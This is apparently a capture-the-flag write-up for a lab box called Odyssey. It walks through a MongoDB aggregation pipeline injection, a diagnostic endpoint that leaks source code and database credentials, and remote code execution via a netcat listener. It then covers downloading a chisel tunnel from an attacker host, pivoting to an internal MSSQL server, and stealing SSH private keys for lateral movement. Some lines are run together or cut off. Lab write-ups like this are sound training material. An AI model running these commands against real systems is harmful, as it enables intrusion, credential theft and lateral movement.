Odyssey
Summary
I discovered a single internet-facing Node.js application (aegis-mds) on aegis.korvia.htb:3000, extracted client-side JavaScript to map its API, and found that an unauthenticated search endpoint accepted raw MongoDB aggregation pipeline stages — including $function, which executes arbitrary JavaScript. A separate unauthenticated diagnostic endpoint leaked the application's own source code, exposing hardcoded MSSQL credentials for an internal database server at $INTERNAL_HOST.
The pipeline injection was escalated to remote code execution, a chisel tunnel was built through the compromised Node host to reach the internal MSSQL server, and an SSH private key stored on the foothold was stolen to move laterally and capture the user flag.
Command conventions
The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export INTERNAL_HOST="<another-host-reached-after-pivoting>"
export INTERNAL_HOST2="<another-host-reached-after-pivoting>"
export PASSWORD="<a-password-you-choose>"Attack path — how the box was taken
Exact commands 3
nmap -sV -sC -p- --min-rate 5000 -oA /home/kali/lab/current/nmap_full $TARGETecho "$TARGET aegis.korvia.htb" >> /etc/hostscurl -i -sS --max-time 15 http://aegis.korvia.htb:3000/Exact commands 2
curl -sS http://aegis.korvia.htb:3000/js/webauthn.js -o /home/kali/lab/current/webauthn.js && curl -sS http://aegis.korvia.htb:3000/js/main.js -o /home/kali/lab/current/main.jsgrep -RhoE "['\"/][a-zA-Z0-9_./-]+['\"]" /home/kali/lab/current/webauthn.js /home/kali/lab/current/main.js | sort -uFixDisable or authenticate the diagnostic API endpoint in productionHigh
pipeline query parameter and forwarded the caller's array of aggregation stages directly to the MongoDB driver. A server-side denylist blocked $lookup, $group, and $skip, but permitted $sort, $match, $project, and $limit. Receiving structured query results in response to injected stages confirmed arbitrary operator injection without any authentication.Exact commands 3
curl -sS 'http://aegis.korvia.htb:3000/api/v1/aegis-mds/search?pipeline=%5B%7B%22%24sort%22%3A%7B%22vendor%22%3A1%7D%7D%2C%7B%22%24limit%22%3A1%7D%5D'curl -sS 'http://aegis.korvia.htb:3000/api/v1/aegis-mds/search?pipeline=%5B%7B%22%24match%22%3A%7B%22vendor%22%3A%22Yubico%22%7D%7D%2C%7B%22%24limit%22%3A1%7D%5D'curl -sS 'http://aegis.korvia.htb:3000/api/v1/aegis-mds/search?pipeline=%5B%7B%22%24lookup%22%3A%7B%22from%22%3A%22users%22%2C%22localField%22%3A%22_id%22%2C%22foreignField%22%3A%22_id%22%2C%22as%22%3A%22u%22%7D%7D%5D'FixEliminate MongoDB aggregation pipeline injection in the search APICritical
Exact commands 2
curl -sS 'http://aegis.korvia.htb:3000/api/v1/aegis-mds/_diag/<token>/jpq?expr=$..' | python3 -m json.toolcurl -sS 'http://aegis.korvia.htb:3000/api/v1/aegis-mds/_diag/<token>/jpq?expr=$.database'FixRemove hardcoded database credentials and rotate the exposed secretCritical
Exact commands 2
nc -lvnp 4444python3 /home/kali/lab/current/inject_rce.pyExact commands 5
ip a; ip route; ss -tnlp./chisel server --reverse --port 8888curl http://$ATTACKER_IP:8000/chisel -o /home/kali/lab/current/chisel && chmod +x /home/kali/lab/current/chisel/home/kali/lab/current/chisel client $ATTACKER_IP:8888 R:socks &proxychains impacket-mssqlclient "odyssey_app:$PASSWORD@$INTERNAL_HOST" -port 1433 -db aegisExact commands 5
find / -maxdepth 6 \( -name 'id_rsa' -o -name 'id_ed25519' -o -name 'id_ecdsa' \) 2>/dev/null | xargs ls -la 2>/dev/nullcat ~/.ssh/id_rsachmod 600 /home/kali/lab/current/stolen_id_rsassh -i /home/kali/lab/current/stolen_id_rsa <username>@<lateral-target-ip>cat ~/user.txt